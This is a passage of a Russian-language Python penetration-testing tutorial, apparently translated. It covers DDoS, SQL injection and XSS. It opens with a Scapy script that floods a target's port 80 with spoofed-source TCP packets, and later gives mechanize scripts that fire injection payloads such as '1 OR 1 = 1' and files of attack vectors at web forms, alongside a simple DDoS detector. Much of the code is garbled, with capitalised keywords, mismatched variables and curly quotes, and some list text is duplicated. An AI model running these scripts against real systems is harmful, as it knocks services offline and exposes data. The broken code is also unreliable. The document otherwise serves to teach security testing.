Import random from scapy.all import * target_IP = input("Enter IP address of Target: ") i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
DDoS-атака (распределенный отказ в обслуживании)
Распределенная атака типа «отказ в обслуживании» (DDoS) — это попытка сделать веб-службу или веб-сайт недоступными, перегружая их огромным потоком трафика, генерируемым из нескольких источников.
В отличие от атаки типа «отказ в обслуживании» (DoS), в которой один компьютер и одно подключение к Интернету используются для заполнения целевого ресурса пакетами, атака DDoS использует много компьютеров и множество подключений к Интернету, часто распределенных по всему миру в том, что называется ботнетом. , Крупномасштабная DDoS-атака может генерировать трафик, измеряемый десятками гигабит (и даже сотнями гигабит) в секунду. Это можно прочитать подробно на https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm .
Обнаружение DDoS с использованием Python
На самом деле DDoS-атаку немного сложно обнаружить, потому что вы не знаете, что хост, отправляющий трафик, является поддельным или реальным. Сценарий Python, приведенный ниже, поможет обнаружить DDoS-атаку.
Для начала давайте импортируем необходимые библиотеки —
import socket import struct from datetime import datetime
Теперь мы создадим сокет, как и в предыдущих разделах.
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
Мы будем использовать пустой словарь —
dict = {}
Следующая строка кода откроет текстовый файл, содержащий подробную информацию о DDoS-атаке в режиме добавления.
file_txt = open("attack_DDoS.txt",'a') t1 = str(datetime.now())
С помощью следующей строки кода при каждом запуске программы будет записываться текущее время.
file_txt.writelines(t1) file_txt.writelines("\n")
Теперь нам нужно принять на себя попадания с определенного IP. Здесь мы предполагаем, что если конкретный IP-адрес будет срабатывать более 15 раз, то это будет атака.
No_of_IPs = 15 R_No_of_IPs = No_of_IPs +10 while True: pkt = s.recvfrom(2048) ipheader = pkt[0][14:34] ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) IP = socket.inet_ntoa(ip_hdr[3]) print "The Source of the IP is:", IP
Следующая строка кода проверит, существует ли IP в словаре или нет. Если он существует, то он увеличится на 1.
if dict.has_key(IP): dict[IP] = dict[IP]+1 print dict[IP]
Следующая строка кода используется для удаления избыточности.
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) : line = "DDOS attack is Detected: " file_txt.writelines(line) file_txt.writelines(IP) file_txt.writelines("\n") else: dict[IP] = 1
После запуска вышеуказанного скрипта мы получим результат в текстовом файле. Согласно сценарию, если IP-адрес попадет более 15 раз, он будет напечатан при обнаружении DDoS-атаки вместе с этим IP-адресом.
Тестирование проникновения Python — веб-атака SQLi
Внедрение SQL — это набор команд SQL, которые помещаются в строку URL или в структуры данных, чтобы получить требуемый ответ из баз данных, связанных с веб-приложениями. Этот тип атаки обычно происходит на веб-страницах, разработанных с использованием PHP или ASP.NET.
Атака SQL-инъекции может быть выполнена со следующими намерениями:
-
Для изменения содержимого баз данных
-
Для изменения содержимого баз данных
-
Для выполнения разных запросов, которые не разрешены приложением
Для изменения содержимого баз данных
Для изменения содержимого баз данных
Для выполнения разных запросов, которые не разрешены приложением
Этот тип атаки работает, когда приложения не проверяют входные данные должным образом, прежде чем передать их в оператор SQL. Инъекции обычно помещаются в адресные строки, поля поиска или поля данных.
Самый простой способ определить, уязвим ли веб-приложение для атаки SQL-инъекцией, — это использовать символ «» в строке и проверить, нет ли ошибок.
Типы атак SQLi
В этом разделе мы узнаем о различных типах SQLi-атак. Атака может быть разделена на следующие два типа —
-
Внутриполосное внедрение SQL (Simple SQLi)
-
Инференциальная SQL-инъекция (Blind SQLi)
Внутриполосное внедрение SQL (Simple SQLi)
Инференциальная SQL-инъекция (Blind SQLi)
Внутриполосное внедрение SQL (Simple SQLi)
Это самая распространенная инъекция SQL. Этот тип SQL-инъекций в основном происходит, когда злоумышленник может использовать один и тот же канал связи для запуска атаки и сбора результатов. Внутриполосные SQL-инъекции делятся на два типа:
-
SQL-инъекция на основе ошибок — метод SQL-инъекции на основе ошибок основан на сообщении об ошибке, выдаваемом сервером базы данных, для получения информации о структуре базы данных.
-
Внедрение SQL на основе объединения — это еще один метод внутриполосного внедрения SQL, который использует оператор SQL UNION для объединения результатов двух или более операторов SELECT в один результат, который затем возвращается как часть ответа HTTP.
SQL-инъекция на основе ошибок — метод SQL-инъекции на основе ошибок основан на сообщении об ошибке, выдаваемом сервером базы данных, для получения информации о структуре базы данных.
Внедрение SQL на основе объединения — это еще один метод внутриполосного внедрения SQL, который использует оператор SQL UNION для объединения результатов двух или более операторов SELECT в один результат, который затем возвращается как часть ответа HTTP.
Инференциальная SQL-инъекция (Blind SQLi)
При такого рода атаках с использованием SQL-атак злоумышленник не может увидеть результат атаки внутри группы, поскольку данные не передаются через веб-приложение. По этой причине он также называется Blind SQLi. Инференциальные SQL-инъекции бывают двух типов:
-
Булевский слепой SQLi — этот метод основан на отправке SQL-запроса в базу данных, что вынуждает приложение возвращать другой результат в зависимости от того, возвращает ли запрос результат TRUE или FALSE.
-
Основанный на времени слепой SQLi — этот метод основан на отправке SQL-запроса к базе данных, что заставляет базу данных ждать определенное количество времени (в секундах), прежде чем ответить. Время ответа укажет злоумышленнику, является ли результат запроса ИСТИНА или ЛОЖЬ.
Булевский слепой SQLi — этот метод основан на отправке SQL-запроса в базу данных, что вынуждает приложение возвращать другой результат в зависимости от того, возвращает ли запрос результат TRUE или FALSE.
Основанный на времени слепой SQLi — этот метод основан на отправке SQL-запроса к базе данных, что заставляет базу данных ждать определенное количество времени (в секундах), прежде чем ответить. Время ответа укажет злоумышленнику, является ли результат запроса ИСТИНА или ЛОЖЬ.
пример
Все типы SQLi могут быть реализованы путем манипулирования входными данными с приложением. В следующих примерах мы пишем скрипт Python для внедрения векторов атаки в приложение и анализируем выходные данные для проверки возможности атаки. Здесь мы собираемся использовать модуль python с именем mechanize , который дает возможность получения веб-форм на веб-странице и облегчает представление входных значений. Мы также использовали этот модуль для проверки на стороне клиента.
Следующий скрипт Python помогает отправлять формы и анализировать ответы с помощью mechanize —
Прежде всего нам нужно импортировать модуль механизации .
import mechanize
Теперь укажите имя URL для получения ответа после отправки формы.
url = input("Enter the full url")
Следующая строка кодов откроет URL.
request = mechanize.Browser() request.open(url)
Теперь нам нужно выбрать форму.
request.select_form(nr = 0)
Здесь мы установим имя столбца id.
request["id"] = "1 OR 1 = 1"
Теперь нам нужно отправить форму.
response = request.submit() content = response.read() print content
Приведенный выше скрипт напечатает ответ на запрос POST. Мы представили вектор атаки, чтобы разорвать SQL-запрос и распечатать все данные в таблице вместо одной строки. Все векторы атаки будут сохранены в текстовом файле, скажем, vectors.txt. Теперь приведенный ниже скрипт Python будет извлекать эти векторы атак из файла и отправлять их на сервер один за другим. Это также сохранит вывод в файл.
Для начала давайте импортируем модуль механизации.
import mechanize
Теперь укажите имя URL для получения ответа после отправки формы.
url = input("Enter the full url") attack_no = 1
Нам нужно прочитать векторы атаки из файла.
With open (‘vectors.txt’) as v:
Теперь отправим запрос с каждым вектором арака
For line in v: browser.open(url) browser.select_form(nr = 0) browser[“id”] = line res = browser.submit() content = res.read()
Теперь следующая строка кода запишет ответ в выходной файл.
output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’) output.write(content) output.close() print attack_no attack_no += 1
Проверяя и анализируя ответы, мы можем определить возможные атаки. Например, если он предоставляет ответ, включающий предложение «В вашем синтаксисе SQL есть ошибка», это означает, что внедрение SQL может повлиять на форму.
Тестирование проникновения Python — XSS Web Attack
Атаки с использованием межсайтовых сценариев — это тип внедрения, который также относится к атаке на стороне клиента. Здесь вредоносные коды внедряются в законный веб-сайт. Концепция политики единого происхождения (SOP) очень полезна для понимания концепции межсайтового скриптинга. SOP является наиболее важным принципалом безопасности в каждом веб-браузере. Он запрещает веб-сайтам получать контент со страниц другого происхождения. Например, веб-страница www.tutorialspoint.com/index.html может получить доступ к содержимому с www.tutorialspoint.com/contact.html, но www.virus.com/index.html не может получить доступ к содержимому с www.tutorialspoint.com/contact. HTML Таким образом, мы можем сказать, что межсайтовый скриптинг — это способ обойти политику безопасности SOP.
Типы XSS-атак
В этом разделе мы узнаем о различных типах XSS-атак. Атака может быть классифицирована на следующие основные категории —
- Постоянный или сохраненный XSS
- Непостоянный или отраженный XSS
Постоянный или сохраненный XSS
При такого рода атаках XSS злоумышленник внедряет сценарий, называемый полезной нагрузкой, который постоянно хранится в целевом веб-приложении, например в базе данных. Это причина, это называется постоянная атака XSS. На самом деле это самый разрушительный тип атаки XSS. Например, злоумышленник вставляет вредоносный код в поле комментариев в блоге или в сообщении на форуме.
Непостоянный или отраженный XSS
Это наиболее распространенный тип атаки XSS, при котором полезная нагрузка злоумышленника должна быть частью запроса, который отправляется на веб-сервер и отражается таким образом, чтобы ответ HTTP включал полезную нагрузку из запроса HTTP. Это непостоянная атака, потому что злоумышленник должен доставить полезную нагрузку каждой жертве. Наиболее распространенным примером таких видов XSS-атак являются фишинговые электронные письма, с помощью которых злоумышленник привлекает жертву для запроса к серверу, который содержит полезные данные XSS, и в конечном итоге выполняет сценарий, который отражается и выполняется внутри браузера. ,
пример
Как и SQLi, веб-атаки XSS могут быть реализованы путем манипулирования входными данными с приложением. В следующих примерах мы модифицируем векторы атаки SQLi, описанные в предыдущем разделе, для тестирования веб-атаки XSS. Сценарий Python, приведенный ниже, помогает анализировать атаку XSS с помощью mechanize —
Для начала давайте импортируем модуль механизации .
import mechanize
Теперь укажите имя URL для получения ответа после отправки формы.
url = input("Enter the full url") attack_no = 1
Нам нужно прочитать векторы атаки из файла.
With open (‘vectors_XSS.txt’) as x:
Теперь мы отправим запрос с каждым вектором arrack —
For line in x: browser.open(url) browser.select_form(nr = 0) browser[“id”] = line res = browser.submit() content = res.read()
Следующая строка кода проверит напечатанный вектор атаки.
if content.find(line) > 0: print(“Possible XSS”)
Следующая строка кода запишет ответ в выходной файл.
output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’) output.write(content) output.close() print attack_no attack_no += 1
XSS возникает, когда пользовательский ввод печатает ответ без какой-либо проверки. Поэтому, чтобы проверить возможность атаки XSS, мы можем проверить текст ответа на вектор атаки, который мы указали. Если вектор атаки присутствует в ответе без какого-либо побега или проверки, существует высокая вероятность атаки XSS.